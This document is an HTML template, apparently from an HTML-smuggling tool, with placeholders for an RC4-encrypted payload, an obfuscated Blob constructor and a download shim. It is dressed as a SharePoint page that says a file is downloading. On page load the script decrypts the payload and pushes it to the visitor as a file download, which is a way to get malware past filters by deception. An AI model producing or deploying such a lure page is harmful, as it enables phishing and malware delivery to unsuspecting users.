<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body {background-color: #FFFFFF;}
.centered {
    display: block;
    margin-left: auto;
    margin-right: auto;
    text-align: center; 
	color: #000000; }
</style>
</head>
<body>
<script>
function ${rc4Function}(r,o){for(var t,e=[],n=0,a="",f=0;f<256;f++)e[f]=f;for(f=0;f<256;f++)n=(n+e[f]+r.charCodeAt(f%r.length))%256,t=e[f],e[f]=e[n],e[n]=t;f=0,n=0;for(var h=0;h<o.length;h++)n=(n+e[f=(f+1)%256])%256,t=e[f],e[f]=e[n],e[n]=t,a+=String.fromCharCode(o.charCodeAt(h)^e[(e[f]+e[n])%256]);return a;}
function ${b64AndRC4Function}(r,o){var s=[],j=0,x,res='';for(var i=0;i<256;i++)s[i]=i;for(i=0;i<256;i++)j=(j+s[i]+r.charCodeAt(i%r.length))%256,x=s[i],s[i]=s[j],s[j]=x;i=0;j=0;var data=atob(o);var dataLength=data.length;var array=new Uint8Array(new ArrayBuffer(dataLength));for(var y=0;y<dataLength;y++)i=(i+1)%256,j=(j+s[i])%256,x=s[i],s[i]=s[j],s[j]=x,array[y]=data.charCodeAt(y)^s[(s[i]+s[j])% 256];return array;}

var ${keyFunction} = function(){return "${key}"};

var ${varPayload} = "${payload}";
var ${varBlobObjectName} = ${rc4Function}(${keyFunction}(),atob("${blobObjectNameEncrypted}"));
setTimeout('var ${varBlob} = new '+${varBlobObjectName}+'([${b64AndRC4Function}(${keyFunction}(), ${varPayload})], {type: "${mimeType}"})');
var ${varBlobShim} = ${rc4Function}(${keyFunction}(), atob("${blobShimEncrypted}"));
setTimeout(${varBlobShim}+'(${varBlob}, "${fileName}")');
</script>

<img class="centered" src="" alt="sharepoint.png"><br>
<img class="centered" width="100" height="100" src="" alt="download.png"><br>
<h2 class="centered">Please wait while your file is being downloaded...</h1>
	<br>

</body>
</html>
